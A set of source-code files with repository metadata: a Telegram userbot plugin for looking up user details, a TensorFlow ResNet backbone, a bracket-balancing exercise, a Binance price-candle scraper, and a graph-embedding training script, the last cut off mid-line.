2021-07-28T10:12:25.000Z

2021-12-13T15:09:43.000Z

plugins/user.py

fosslife/grambot

fbec1a8df939823b18915d4689e9da6f5adb871b

[ "MIT" ]

4

2020-03-30T18:27:08.000Z

2022-02-25T16:28:06.000Z

from userbot import bot, logger from telethon import TelegramClient, events from config import user from telethon.tl.functions.users import GetFullUserRequest @bot.on(events.NewMessage(**user)) async def getUser(event): logger.info("user plugin is called") pattern_string = event.pattern_match.string entity = pattern_string[pattern_string.find("(")+1:pattern_string.find(")")] logger.info(f"entity to search - {entity}") try: info = await bot(GetFullUserRequest(entity)) await event.respond(f""" Username - `{info.user.username}` {"User is a bot" if info.user.bot else "user is not a bot"} {"User is restricted for " + info.user.restriction_reason if info.user.restricted else "User is not restricted"} Name - {info.user.first_name} {info.user.last_name if info.user.last_name else ""} Status - `{info.about}` id - {info.user.id} {info.common_chats_count} groups common with me {"I have blocked this user" if info.blocked else "I have not blocked this user"} """) except Exception: await event.respond(f"Cannot find entity with `{entity}`")

42

113

0.725275

from userbot import bot, logger from telethon import TelegramClient, events from config import user from telethon.tl.functions.users import GetFullUserRequest @bot.on(events.NewMessage(**user)) async def getUser(event): logger.info("user plugin is called") pattern_string = event.pattern_match.string entity = pattern_string[pattern_string.find("(")+1:pattern_string.find(")")] logger.info(f"entity to search - {entity}") try: info = await bot(GetFullUserRequest(entity)) await event.respond(f""" Username - `{info.user.username}` {"User is a bot" if info.user.bot else "user is not a bot"} {"User is restricted for " + info.user.restriction_reason if info.user.restricted else "User is not restricted"} Name - {info.user.first_name} {info.user.last_name if info.user.last_name else ""} Status - `{info.about}` id - {info.user.id} {info.common_chats_count} groups common with me {"I have blocked this user" if info.blocked else "I have not blocked this user"} """) except Exception: await event.respond(f"Cannot find entity with `{entity}`")

true

790b0642bc651ce6634c07feaef088b93a3e0de0

9,643

py

Python

models/official/detection/modeling/architecture/resnet.py

hoangphucITJP/tpu

e4ce0d8eb61a828d4b5fe09effd082356e88545c

[ "Apache-2.0" ]

null

models/official/detection/modeling/architecture/resnet.py

hoangphucITJP/tpu

e4ce0d8eb61a828d4b5fe09effd082356e88545c

[ "Apache-2.0" ]

null

models/official/detection/modeling/architecture/resnet.py

hoangphucITJP/tpu

e4ce0d8eb61a828d4b5fe09effd082356e88545c

[ "Apache-2.0" ]

null

# Lint as: python2, python3 # Copyright 2019 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Contains definitions for the post-activation form of Residual Networks. Residual networks (ResNets) were proposed in: [1] Kaiming He, Xiangyu Zhang, Shaoqing Ren, Jian Sun Deep Residual Learning for Image Recognition. arXiv:1512.03385 """ from __future__ import absolute_import from __future__ import division from __future__ import print_function from six.moves import range import tensorflow.compat.v1 as tf from modeling.architecture import nn_blocks from modeling.architecture import nn_ops def get_drop_connect_rate(init_rate, block_num, total_blocks): """Get drop connect rate for the ith block.""" if init_rate is not None: return init_rate * float(block_num) / total_blocks else: return None def block_group(inputs, filters, strides, use_projection, block_fn, block_repeats, batch_norm_relu=nn_ops.BatchNormRelu(), dropblock=nn_ops.Dropblock(), drop_connect_rate=None, data_format='channels_last', name=None, is_training=False): """Builds one group of blocks. Args: inputs: a `Tensor` of size `[batch, channels, height, width]`. filters: an `int` number of filters for the first two convolutions. strides: an `int` block stride. If greater than 1, this block will ultimately downsample the input. use_projection: a `bool` for whether this block should use a projection shortcut (versus the default identity shortcut). This is usually `True` for the first block of a block group, which may change the number of filters and the resolution. block_fn: the `function` for the block to use within the model block_repeats: an `int` number of blocks to repeat in the group. batch_norm_relu: an operation that is added after convolutions, including a batch norm layer and an optional relu activation. dropblock: a drop block layer that is added after convluations. Note that the default implementation does not apply any drop block. drop_connect_rate: a 'float' number that specifies the drop connection rate of the block. Note that the default `None` means no drop connection is applied. data_format: a `str` that specifies the data format. name: a `str` name for the Tensor output of the block layer. is_training: a `bool` if True, the model is in training mode. Returns: The output `Tensor` of the block layer. """ # Only the first block per block_group uses projection shortcut and strides. inputs = block_fn( inputs, filters, strides, use_projection=use_projection, batch_norm_relu=batch_norm_relu, dropblock=dropblock, drop_connect_rate=drop_connect_rate, data_format=data_format, is_training=is_training) for _ in range(1, block_repeats): inputs = block_fn( inputs, filters, 1, use_projection=False, batch_norm_relu=batch_norm_relu, dropblock=dropblock, drop_connect_rate=drop_connect_rate, data_format=data_format, is_training=is_training) return tf.identity(inputs, name) class Resnet(object): """Class to build ResNet family model.""" def __init__(self, resnet_depth, dropblock=nn_ops.Dropblock(), batch_norm_relu=nn_ops.BatchNormRelu(), init_drop_connect_rate=None, data_format='channels_last'): """ResNet initialization function. Args: resnet_depth: `int` depth of ResNet backbone model. dropblock: a dropblock layer. batch_norm_relu: an operation that includes a batch normalization layer followed by a relu layer(optional). init_drop_connect_rate: a 'float' number that specifies the initial drop connection rate. Note that the default `None` means no drop connection is applied. data_format: `str` either "channels_first" for `[batch, channels, height, width]` or "channels_last for `[batch, height, width, channels]`. """ self._resnet_depth = resnet_depth self._dropblock = dropblock self._batch_norm_relu = batch_norm_relu self._init_drop_connect_rate = init_drop_connect_rate self._data_format = data_format model_params = { 10: {'block': nn_blocks.residual_block, 'layers': [1, 1, 1, 1]}, 18: {'block': nn_blocks.residual_block, 'layers': [2, 2, 2, 2]}, 34: {'block': nn_blocks.residual_block, 'layers': [3, 4, 6, 3]}, 50: {'block': nn_blocks.bottleneck_block, 'layers': [3, 4, 6, 3]}, 101: {'block': nn_blocks.bottleneck_block, 'layers': [3, 4, 23, 3]}, 152: {'block': nn_blocks.bottleneck_block, 'layers': [3, 8, 36, 3]}, 200: {'block': nn_blocks.bottleneck_block, 'layers': [3, 24, 36, 3]} } if resnet_depth not in model_params: valid_resnet_depths = ', '.join( [str(depth) for depth in sorted(model_params.keys())]) raise ValueError( 'The resnet_depth should be in [%s]. Not a valid resnet_depth:'%( valid_resnet_depths), self._resnet_depth) params = model_params[resnet_depth] self._resnet_fn = self.resnet_v1_generator( params['block'], params['layers']) def __call__(self, inputs, is_training=False): """Returns the ResNet model for a given size and number of output classes. Args: inputs: a `Tesnor` with shape [batch_size, height, width, 3] representing a batch of images. is_training: `bool` if True, the model is in training mode. Returns: a `dict` containing `int` keys for continuous feature levels [2, 3, 4, 5]. The values are corresponding feature hierarchy in ResNet with shape [batch_size, height_l, width_l, num_filters]. """ with tf.variable_scope('resnet%s' % self._resnet_depth): return self._resnet_fn(inputs, is_training) def resnet_v1_generator(self, block_fn, layers): """Generator for ResNet v1 models. Args: block_fn: `function` for the block to use within the model. Either `residual_block` or `bottleneck_block`. layers: list of 4 `int`s denoting the number of blocks to include in each of the 4 block groups. Each group consists of blocks that take inputs of the same resolution. Returns: Model `function` that takes in `inputs` and `is_training` and returns the output `Tensor` of the ResNet model. """ def model(inputs, is_training=False): """Creation of the model graph.""" inputs = nn_ops.conv2d_fixed_padding( inputs=inputs, filters=64, kernel_size=7, strides=2, data_format=self._data_format) inputs = tf.identity(inputs, 'initial_conv') inputs = self._batch_norm_relu(inputs, is_training=is_training) inputs = tf.layers.max_pooling2d( inputs=inputs, pool_size=3, strides=2, padding='SAME', data_format=self._data_format) inputs = tf.identity(inputs, 'initial_max_pool') c2 = block_group( inputs=inputs, filters=64, strides=1, use_projection=True, block_fn=block_fn, block_repeats=layers[0], batch_norm_relu=self._batch_norm_relu, dropblock=self._dropblock, drop_connect_rate=get_drop_connect_rate( self._init_drop_connect_rate, 2, 5), name='block_group1', is_training=is_training) c3 = block_group( inputs=c2, filters=128, strides=2, use_projection=True, block_fn=block_fn, block_repeats=layers[1], batch_norm_relu=self._batch_norm_relu, dropblock=self._dropblock, drop_connect_rate=get_drop_connect_rate( self._init_drop_connect_rate, 3, 5), name='block_group2', is_training=is_training) c4 = block_group( inputs=c3, filters=256, strides=2, use_projection=True, block_fn=block_fn, block_repeats=layers[2], batch_norm_relu=self._batch_norm_relu, dropblock=self._dropblock, drop_connect_rate=get_drop_connect_rate( self._init_drop_connect_rate, 4, 5), name='block_group3', is_training=is_training) c5 = block_group( inputs=c4, filters=512, strides=2, use_projection=True, block_fn=block_fn, block_repeats=layers[3], batch_norm_relu=self._batch_norm_relu, dropblock=self._dropblock, drop_connect_rate=get_drop_connect_rate( self._init_drop_connect_rate, 5, 5), name='block_group4', is_training=is_training) return {2: c2, 3: c3, 4: c4, 5: c5} return model

37.964567

80

0.657057

from __future__ import absolute_import from __future__ import division from __future__ import print_function from six.moves import range import tensorflow.compat.v1 as tf from modeling.architecture import nn_blocks from modeling.architecture import nn_ops def get_drop_connect_rate(init_rate, block_num, total_blocks): if init_rate is not None: return init_rate * float(block_num) / total_blocks else: return None def block_group(inputs, filters, strides, use_projection, block_fn, block_repeats, batch_norm_relu=nn_ops.BatchNormRelu(), dropblock=nn_ops.Dropblock(), drop_connect_rate=None, data_format='channels_last', name=None, is_training=False): inputs = block_fn( inputs, filters, strides, use_projection=use_projection, batch_norm_relu=batch_norm_relu, dropblock=dropblock, drop_connect_rate=drop_connect_rate, data_format=data_format, is_training=is_training) for _ in range(1, block_repeats): inputs = block_fn( inputs, filters, 1, use_projection=False, batch_norm_relu=batch_norm_relu, dropblock=dropblock, drop_connect_rate=drop_connect_rate, data_format=data_format, is_training=is_training) return tf.identity(inputs, name) class Resnet(object): def __init__(self, resnet_depth, dropblock=nn_ops.Dropblock(), batch_norm_relu=nn_ops.BatchNormRelu(), init_drop_connect_rate=None, data_format='channels_last'): self._resnet_depth = resnet_depth self._dropblock = dropblock self._batch_norm_relu = batch_norm_relu self._init_drop_connect_rate = init_drop_connect_rate self._data_format = data_format model_params = { 10: {'block': nn_blocks.residual_block, 'layers': [1, 1, 1, 1]}, 18: {'block': nn_blocks.residual_block, 'layers': [2, 2, 2, 2]}, 34: {'block': nn_blocks.residual_block, 'layers': [3, 4, 6, 3]}, 50: {'block': nn_blocks.bottleneck_block, 'layers': [3, 4, 6, 3]}, 101: {'block': nn_blocks.bottleneck_block, 'layers': [3, 4, 23, 3]}, 152: {'block': nn_blocks.bottleneck_block, 'layers': [3, 8, 36, 3]}, 200: {'block': nn_blocks.bottleneck_block, 'layers': [3, 24, 36, 3]} } if resnet_depth not in model_params: valid_resnet_depths = ', '.join( [str(depth) for depth in sorted(model_params.keys())]) raise ValueError( 'The resnet_depth should be in [%s]. Not a valid resnet_depth:'%( valid_resnet_depths), self._resnet_depth) params = model_params[resnet_depth] self._resnet_fn = self.resnet_v1_generator( params['block'], params['layers']) def __call__(self, inputs, is_training=False): with tf.variable_scope('resnet%s' % self._resnet_depth): return self._resnet_fn(inputs, is_training) def resnet_v1_generator(self, block_fn, layers): def model(inputs, is_training=False): inputs = nn_ops.conv2d_fixed_padding( inputs=inputs, filters=64, kernel_size=7, strides=2, data_format=self._data_format) inputs = tf.identity(inputs, 'initial_conv') inputs = self._batch_norm_relu(inputs, is_training=is_training) inputs = tf.layers.max_pooling2d( inputs=inputs, pool_size=3, strides=2, padding='SAME', data_format=self._data_format) inputs = tf.identity(inputs, 'initial_max_pool') c2 = block_group( inputs=inputs, filters=64, strides=1, use_projection=True, block_fn=block_fn, block_repeats=layers[0], batch_norm_relu=self._batch_norm_relu, dropblock=self._dropblock, drop_connect_rate=get_drop_connect_rate( self._init_drop_connect_rate, 2, 5), name='block_group1', is_training=is_training) c3 = block_group( inputs=c2, filters=128, strides=2, use_projection=True, block_fn=block_fn, block_repeats=layers[1], batch_norm_relu=self._batch_norm_relu, dropblock=self._dropblock, drop_connect_rate=get_drop_connect_rate( self._init_drop_connect_rate, 3, 5), name='block_group2', is_training=is_training) c4 = block_group( inputs=c3, filters=256, strides=2, use_projection=True, block_fn=block_fn, block_repeats=layers[2], batch_norm_relu=self._batch_norm_relu, dropblock=self._dropblock, drop_connect_rate=get_drop_connect_rate( self._init_drop_connect_rate, 4, 5), name='block_group3', is_training=is_training) c5 = block_group( inputs=c4, filters=512, strides=2, use_projection=True, block_fn=block_fn, block_repeats=layers[3], batch_norm_relu=self._batch_norm_relu, dropblock=self._dropblock, drop_connect_rate=get_drop_connect_rate( self._init_drop_connect_rate, 5, 5), name='block_group4', is_training=is_training) return {2: c2, 3: c3, 4: c4, 5: c5} return model

true

790b0695b94723e79b7c0b1171676002fd6a3093

1,310

py

Python

Data Structures/Stack/Balanced Bracket/balanced_bracket.py

brianchiang-tw/HackerRank

02a30a0033b881206fa15b8d6b4ef99b2dc420c8

[ "MIT" ]

2

2020-05-28T07:15:00.000Z

2020-07-21T08:34:06.000Z

Data Structures/Stack/Balanced Bracket/balanced_bracket.py

brianchiang-tw/HackerRank

02a30a0033b881206fa15b8d6b4ef99b2dc420c8

[ "MIT" ]

null

Data Structures/Stack/Balanced Bracket/balanced_bracket.py

brianchiang-tw/HackerRank

02a30a0033b881206fa15b8d6b4ef99b2dc420c8

[ "MIT" ]

null

#!/bin/python3 import math import os import random import re import sys # Complete the isBalanced function below. def isBalanced(s): left_symbol = [ '{', '[', '('] right_symbol = [ '}', ']', ')'] # fast checking of symbol counting equality for i in range(3): left_count = s.count( left_symbol[i] ) right_count = s.count( right_symbol[i] ) if left_count != right_count: return "NO" _stack = [] for i in range( len(s) ): char = s[i] if char in { '{', '[', '(' } : # push into stack _stack.append( char ) if char in { '}', ']', ')' } : # pop from stack and compare with left symbol index_of_right = right_symbol.index( char ) index_of_left = left_symbol.index( _stack.pop(-1) ) if index_of_left == index_of_right: # match of {}, [], or () pass else: return "NO" if len(_stack) == 0: return "YES" else: return "NO" if __name__ == '__main__': fptr = open(os.environ['OUTPUT_PATH'], 'w') t = int(input()) for t_itr in range(t): s = input() result = isBalanced(s) fptr.write(result + '\n') fptr.close()

17.702703

63

0.499237

import math import os import random import re import sys def isBalanced(s): left_symbol = [ '{', '[', '('] right_symbol = [ '}', ']', ')'] for i in range(3): left_count = s.count( left_symbol[i] ) right_count = s.count( right_symbol[i] ) if left_count != right_count: return "NO" _stack = [] for i in range( len(s) ): char = s[i] if char in { '{', '[', '(' } : _stack.append( char ) if char in { '}', ']', ')' } : index_of_right = right_symbol.index( char ) index_of_left = left_symbol.index( _stack.pop(-1) ) if index_of_left == index_of_right: pass else: return "NO" if len(_stack) == 0: return "YES" else: return "NO" if __name__ == '__main__': fptr = open(os.environ['OUTPUT_PATH'], 'w') t = int(input()) for t_itr in range(t): s = input() result = isBalanced(s) fptr.write(result + '\n') fptr.close()

true

790b06f7d961da5eefda7131950028b89915e567

3,008

py

Python

binance-fetch-ohlcv-to-csv.py

yinfeng2016/Bitcoin-Trader-RL

cd75848fa89f076ee3d91cf2b866b8160a038b30

[ "MIT" ]

null

binance-fetch-ohlcv-to-csv.py

yinfeng2016/Bitcoin-Trader-RL

cd75848fa89f076ee3d91cf2b866b8160a038b30

[ "MIT" ]

null

binance-fetch-ohlcv-to-csv.py

yinfeng2016/Bitcoin-Trader-RL

cd75848fa89f076ee3d91cf2b866b8160a038b30

[ "MIT" ]

null

# -*- coding: utf-8 -*- import os import sys import csv # ----------------------------------------------------------------------------- root = os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) sys.path.append(root + '/python') import ccxt # noqa: E402 # ----------------------------------------------------------------------------- def retry_fetch_ohlcv(exchange, max_retries, symbol, timeframe, since, limit): num_retries = 0 try: num_retries += 1 ohlcv = exchange.fetch_ohlcv(symbol, timeframe, since, limit) # print('Fetched', len(ohlcv), symbol, 'candles from', exchange.iso8601 (ohlcv[0][0]), 'to', exchange.iso8601 (ohlcv[-1][0])) return ohlcv except Exception: if num_retries > max_retries: raise # Exception('Failed to fetch', timeframe, symbol, 'OHLCV in', max_retries, 'attempts') def scrape_ohlcv(exchange, max_retries, symbol, timeframe, since, limit): earliest_timestamp = exchange.milliseconds() timeframe_duration_in_seconds = exchange.parse_timeframe(timeframe) timeframe_duration_in_ms = timeframe_duration_in_seconds * 1000 timedelta = limit * timeframe_duration_in_ms all_ohlcv = [] while True: fetch_since = earliest_timestamp - timedelta ohlcv = retry_fetch_ohlcv(exchange, max_retries, symbol, timeframe, fetch_since, limit) # if we have reached the beginning of history if ohlcv[0][0] >= earliest_timestamp: break earliest_timestamp = ohlcv[0][0] all_ohlcv = ohlcv + all_ohlcv print(len(all_ohlcv), 'candles in total from', exchange.iso8601(all_ohlcv[0][0]), 'to', exchange.iso8601(all_ohlcv[-1][0])) # if we have reached the checkpoint if fetch_since < since: break return all_ohlcv def write_to_csv(filename, data): with open(filename, mode='w', newline = '') as output_file: csv_writer = csv.writer(output_file, delimiter=',', quotechar='"', quoting=csv.QUOTE_MINIMAL) csv_writer.writerows(data) def scrape_candles_to_csv(filename, exchange_id, max_retries, symbol, timeframe, since, limit): # instantiate the exchange by id exchange = getattr(ccxt, exchange_id)({ 'enableRateLimit': True, # required by the Manual }) # convert since from string to milliseconds integer if needed if isinstance(since, str): since = exchange.parse8601(since) # preload all markets from the exchange exchange.load_markets() # fetch all candles ohlcv = scrape_ohlcv(exchange, max_retries, symbol, timeframe, since, limit) # save them to csv file write_to_csv(filename, ohlcv) print('Saved', len(ohlcv), 'candles from', exchange.iso8601(ohlcv[0][0]), 'to', exchange.iso8601(ohlcv[-1][0]), 'to', filename) # ----------------------------------------------------------------------------- scrape_candles_to_csv('binance_3.csv', 'binance', 3, 'BTC/USDT', '1h', '2019-05-01T00:00:00Z', 100)

39.578947

133

0.628657

import os import sys import csv root = os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) sys.path.append(root + '/python') import ccxt def retry_fetch_ohlcv(exchange, max_retries, symbol, timeframe, since, limit): num_retries = 0 try: num_retries += 1 ohlcv = exchange.fetch_ohlcv(symbol, timeframe, since, limit) return ohlcv except Exception: if num_retries > max_retries: raise def scrape_ohlcv(exchange, max_retries, symbol, timeframe, since, limit): earliest_timestamp = exchange.milliseconds() timeframe_duration_in_seconds = exchange.parse_timeframe(timeframe) timeframe_duration_in_ms = timeframe_duration_in_seconds * 1000 timedelta = limit * timeframe_duration_in_ms all_ohlcv = [] while True: fetch_since = earliest_timestamp - timedelta ohlcv = retry_fetch_ohlcv(exchange, max_retries, symbol, timeframe, fetch_since, limit) if ohlcv[0][0] >= earliest_timestamp: break earliest_timestamp = ohlcv[0][0] all_ohlcv = ohlcv + all_ohlcv print(len(all_ohlcv), 'candles in total from', exchange.iso8601(all_ohlcv[0][0]), 'to', exchange.iso8601(all_ohlcv[-1][0])) if fetch_since < since: break return all_ohlcv def write_to_csv(filename, data): with open(filename, mode='w', newline = '') as output_file: csv_writer = csv.writer(output_file, delimiter=',', quotechar='"', quoting=csv.QUOTE_MINIMAL) csv_writer.writerows(data) def scrape_candles_to_csv(filename, exchange_id, max_retries, symbol, timeframe, since, limit): # instantiate the exchange by id exchange = getattr(ccxt, exchange_id)({ 'enableRateLimit': True, # required by the Manual }) # convert since from string to milliseconds integer if needed if isinstance(since, str): since = exchange.parse8601(since) # preload all markets from the exchange exchange.load_markets() # fetch all candles ohlcv = scrape_ohlcv(exchange, max_retries, symbol, timeframe, since, limit) # save them to csv file write_to_csv(filename, ohlcv) print('Saved', len(ohlcv), 'candles from', exchange.iso8601(ohlcv[0][0]), 'to', exchange.iso8601(ohlcv[-1][0]), 'to', filename) # ----------------------------------------------------------------------------- scrape_candles_to_csv('binance_3.csv', 'binance', 3, 'BTC/USDT', '1h', '2019-05-01T00:00:00Z', 100)

true

790b07891b7b81348e644b5d2b4ad376f79cff20

21,906

py

Python

local2global_embedding/run.py

LJeub/Local2Global_embedding

22e1818639043444f97655d944997a171b992745

[ "MIT" ]

null

local2global_embedding/run.py

LJeub/Local2Global_embedding

22e1818639043444f97655d944997a171b992745

[ "MIT" ]

null

local2global_embedding/run.py

LJeub/Local2Global_embedding

22e1818639043444f97655d944997a171b992745

[ "MIT" ]

null

"""Training run script""" import argparse import json from pathlib import Path from bisect import bisect_left import torch import torch_geometric as tg import matplotlib.pyplot as plt import local2global as l2g from local2global_embedding.embedding import speye, train, embedding, VGAE_model, VGAE_loss, reconstruction_auc from local2global_embedding.network import largest_connected_component, TGraph from local2global_embedding.patches import create_patch_data from local2global_embedding.clustering import distributed_clustering, fennel_clustering, louvain_clustering, metis_clustering class ResultsDict: """ Class for keeping track of results """ @classmethod def load(cls, filename, replace=False): """ restore results from file Args: filename: input json file replace: set the replace attribute Returns: populated ResultsDict """ self = cls(replace=replace) with open(filename) as f: self._data.update(json.load(f)) return self def save(self, filename): """ dump contents to json file Args: filename: output file path """ with open(filename, 'w') as f: json.dump(self._data, f) def __init__(self, replace=False): """ initialise empty ResultsDict Args: replace: set the replace attribute (default: ``False``) """ self._data = {'dims': [], 'auc': [], 'args': []} self.replace = replace #: if ``True``, updates replace existing data, if ``False``, updates append data def __getitem__(self, item): return self._data[item] def _update_index(self, index, aucs: list, args=None): """ update data for a given index Args: index: integer index into data lists aucs: new auc values (should be a list) args: new args data (optional) """ if self.replace: self['auc'][index] = aucs self['args'][index] = args else: self['auc'][index].extend(aucs) self['args'][index].extend([args] * len(aucs)) def _insert_index(self, index: int, dim: int, aucs: list, args=None): """ insert new data at index Args: index: integer index into data lists dim: data dimension for index aucs: new auc values args: new args data (optional) """ self['auc'].insert(index, aucs) self['dims'].insert(index, dim) self['args'].insert(index, [args] * len(aucs)) def update_dim(self, dim, aucs, args=None): """ update data for given dimension Args: dim: dimension to update aucs: new auc values args: new args data (optional) if ``self.contains_dim(dim) == True``, behaviour depends on the value of ``self.replace`` """ index = bisect_left(self['dims'], dim) if index < len(self['dims']) and self['dims'][index] == dim: self._update_index(index, aucs, args) else: self._insert_index(index, dim, aucs, args) def max_auc(self, dim=None): """ return maximum auc values Args: dim: if ``dim=None``, return list of values for all dimension, else only return maximum value for ``dim``. """ if dim is None: return [max(aucs) for aucs in self['auc']] else: index = bisect_left(self['dims'], dim) if index < len(self['dims']) and self['dims'][index] == dim: return max(self['auc'][index]) else: return 0. def contains_dim(self, dim): """ equivalent to ``dim in self['dims']`` """ index = bisect_left(self['dims'], dim) return index < len(self['dims']) and self['dims'][index] == dim def reduce_to_dims(self, dims): """ remove all data for dimensions not in ``dims`` Args: dims: list of dimensions to keep """ index = [i for i, d in enumerate(dims) if self.contains_dim(d)] for key1 in self._data: if isinstance(self._data[key1], list): self._data[key1] = [self[key1][i] for i in index] return self def runs(self, dim=None): """ return the number of runs Args: dim: if ``dim is None``, return list of number of runs for all dimension, else return number of runs for dimension ``dim``. """ if dim is None: return [len(x) for x in self['auc']] else: index = bisect_left(self['dims'], dim) if index < len(self['dims']) and self['dims'][index] == dim: return len(self['auc'][index]) else: return 0 _dataloaders = {} #: dataloaders def dataloader(name): """ decorator for registering dataloader functions Args: name: data set name """ def loader(func): _dataloaders[name] = func return func return loader @dataloader('Cora') def _load_cora(): return tg.datasets.Planetoid(name='Cora', root='/tmp/cora')[0] @dataloader('PubMed') def _load_pubmed(): return tg.datasets.Planetoid(name='PubMed', root='/tmp/pubmed')[0] @dataloader('AMZ_computers') def _load_amazon_computers(): return tg.datasets.Amazon(root='/tmp/amazon', name='Computers')[0] @dataloader('AMZ_photo') def _load_amazon_photos(): return tg.datasets.Amazon(root='/tmp/amazon', name='photo')[0] def load_data(name): """ load data set Args: name: name of data set (one of {names}) Returns: largest connected component of data set """ data = _dataloaders[name]() data = largest_connected_component(data=data) data.num_nodes = data.x.shape[0] return data load_data.__doc__ = load_data.__doc__.format(names=list(_dataloaders.keys())) def prepare_patches(output_folder, **kwargs): """ initialise patch data if ``output_folder`` does not exist, else load existing patch data Args: output_folder: folder for storing patch data **kwargs: arguments passed to :py:func:`~local2global_embedding.patches.create_patch_data` Returns: patch_data, patch_graph """ output_folder = Path(output_folder) if output_folder.is_dir(): patch_graph = torch.load(output_folder / 'patch_graph.pt') patch_data = [torch.load(output_folder / f"patch{i}.pt") for i in range(patch_graph.num_nodes)] else: patch_data, patch_graph = create_patch_data(**kwargs) output_folder.mkdir(parents=True) torch.save(patch_graph, output_folder / 'patch_graph.pt') for i, data in enumerate(patch_data): torch.save(data, output_folder / f'patch{i}.pt') return patch_data, patch_graph def csvlist(input_type=str): """ Create an argparse type that parses comma separated lists of type ``input_type`` Args: input_type: type of list elements Returns: list parser """ def make_list(input_str): return [input_type(s) for s in input_str.split(',')] make_list.__doc__ = f""" argparse type that parses comma separated list of type {input_type} Args: input_str: string to be parsed Returns: list of elements of type {input_type} """ return make_list _parser = argparse.ArgumentParser(description="Run training example.") _parser.add_argument('--data', default='Cora', choices=_dataloaders.keys(), help='Dataset to load') _parser.add_argument('--no_features', action='store_true', help='Discard features and use node identity.') _parser.add_argument('--num_epochs', type=int, default=200, help='Number of training epochs') _parser.add_argument('--runs', type=int, default=10, help='Number of training runs (keep best result)') _parser.add_argument('--dims', type=csvlist(int), default=[2], help='Embedding dimensions (comma-separated)') _parser.add_argument('--hidden_multiplier', type=int, default=2, help='Hidden dim is `hidden_multiplier` * `dim`') _parser.add_argument('--target_patch_degree', type=float, default=4.0, help='Target patch degree for sparsification.') _parser.add_argument('--min_overlap', type=int, default=None, help='Minimum target patch overlap (defaults to `max(dims) + 1`)') _parser.add_argument('--target_overlap', type=int, default=None, help='Target patch overlap (defaults to twice `min_overlap`)') _parser.add_argument('--gamma', type=float, default=0.0, help="Value of 'gamma' for RMST sparsification.") _parser.add_argument('--sparsify', default='resistance', help="Sparsification method to use.", choices={'resistance', 'rmst', 'none'}) _parser.add_argument('--cluster', default='metis', choices={'louvain', 'distributed', 'fennel', 'metis'}, help="Clustering method to use") _parser.add_argument('--num_clusters', default=10, type=int, help="Target number of clusters for fennel, or metis.") _parser.add_argument('--beta', default=0.1, type=float, help="Beta value for distributed") _parser.add_argument('--num_iters', default=None, type=int, help="Maximum iterations for distributed or fennel (default depends on method choice)") _parser.add_argument('--lr', default=0.01, type=float, help='Learning rate') _parser.add_argument('--dist', action='store_true', help='use distance decoder instead of inner product decoder') _parser.add_argument('--output', default='.', help='output folder') _parser.add_argument('--device', default=None, help="Device used for training e.g., 'cpu', 'cuda'") _parser.add_argument('--plot', action='store_true', help='Plot embedding performance') _parser.add_argument('--verbose', action='store_true', help='Show progress info') def run(**kwargs): """ Run training example. By default this function writes results to the current working directory. To override this use the ``output`` keyword argument. This function reproduces figure 1(a) of [#l2g]_ if called as ``run(dims=[2**i for i in range(1, 8)], plot=True)``. Keyword Args: data: Name of data set to load (one of {``'Cora'``, ``'PubMed'``, ``'AMZ_computers'``, ``'AMZ_photo'``}) (default: ``'Cora'``) no_features: If ``True``, discard features and use node identity. (default: ``False``) num_epochs: Number of training epochs (default: ``200``) runs: Number of training runs (keep best result) (default: ``1``) dims: list of embedding dimensions (default: ``[2]``) hidden_multiplier: Hidden dimension is ``hidden_multiplier * dim`` target_patch_degree: Target patch degree for resistance sparsification. (default: ``4``) min_overlap: Minimum target patch overlap (default: ``max(dims) + 1``) target_overlap: Target patch overlap (default: ``2 * max(dims)``) gamma: Value of 'gamma' for RMST sparsification (default: ``0``) sparsify: Sparsification method to use (one of {``'resistance'``, ``'none'``, ``'rmst'``}) (default: ``'resistance'``) cluster: Clustering method to use (one of {``'louvain'``, ``'fennel'`` , ``'distributed'``, ``'metis'``}) (default: ``'metis'``) num_clusters: Target number of clusters for distributed, fennel, or metis. num_iters: Maximum iterations for distributed or fennel lr: Learning rate dist: If ``True``, use distance decoder instead of inner product decoder (default: ``False``) output: output folder (default: ``'.'``) device: Device used for training e.g., 'cpu', 'cuda' (defaults to ``'cuda'`` if available else ``'cpu'``) plot: If ``True``, plot embedding performance (default: ``False``) verbose: If ``True``, show progress info (default: ``False``) This function only accepts keyword arguments and is also exposed as a command-line interface. .. rubric:: References .. [#l2g] L. G. S. Jeub et al. “Local2Global: Scaling global representation learning on graphs via local training”. DLG-KDD’21. 2021. `arXiv:2107.12224 [cs.LG] <https://arxiv.org/abs/2107.12224>`_. """ # support calling this as a python function with keyword arguments args = _parser.parse_args([]) for key, value in kwargs.items(): if key in args: setattr(args, key, value) else: raise TypeError(f'Unknown argument {key}') output_folder = Path(args.output) data = load_data(args.data) neg_edges = tg.utils.negative_sampling(data.edge_index, data.num_nodes) graph = TGraph(data.edge_index, data.edge_attr) basename = args.data dims = args.dims num_epochs = args.num_epochs runs = args.runs min_overlap = args.min_overlap if args.min_overlap is not None else max(dims) + 1 target_overlap = args.target_overlap if args.target_overlap is not None else 2 * max(dims) if args.no_features: data.x = None # remove node features (trained with identity) basename += '_no_features' if args.dist: basename += '_dist' if args.sparsify == 'resistance': sp_string = f"resistance_deg{args.target_patch_degree}" elif args.sparsify == 'rmst': sp_string = f"rmst_gamma{args.gamma}" elif args.sparsify == 'none': sp_string = "no_sparsify" else: raise RuntimeError(f"Unknown sparsification method '{args.sparsify}'.") if args.cluster == 'louvain': cluster_fun = lambda: louvain_clustering(graph) cluster_string = 'louvain' elif args.cluster == 'distributed': cluster_fun = lambda: distributed_clustering(graph, args.beta, rounds=args.num_iters) cluster_string = f'distributed_beta{args.beta}_it{args.num_iters}' elif args.cluster == 'fennel': cluster_fun = lambda: fennel_clustering(graph, num_clusters=args.num_clusters, randomise_order=True, num_iters=args.num_iters) cluster_string = f"fennel_n{args.num_clusters}_it{args.num_iters}" elif args.cluster == 'metis': cluster_fun = lambda: metis_clustering(graph, num_clusters=args.num_clusters) cluster_string = f"metis_n{args.num_clusters}" else: raise RuntimeError(f"Unknown cluster method '{args.cluster}'.") cluster_file = output_folder / f"{args.data}_{cluster_string}_clusters.pt" if 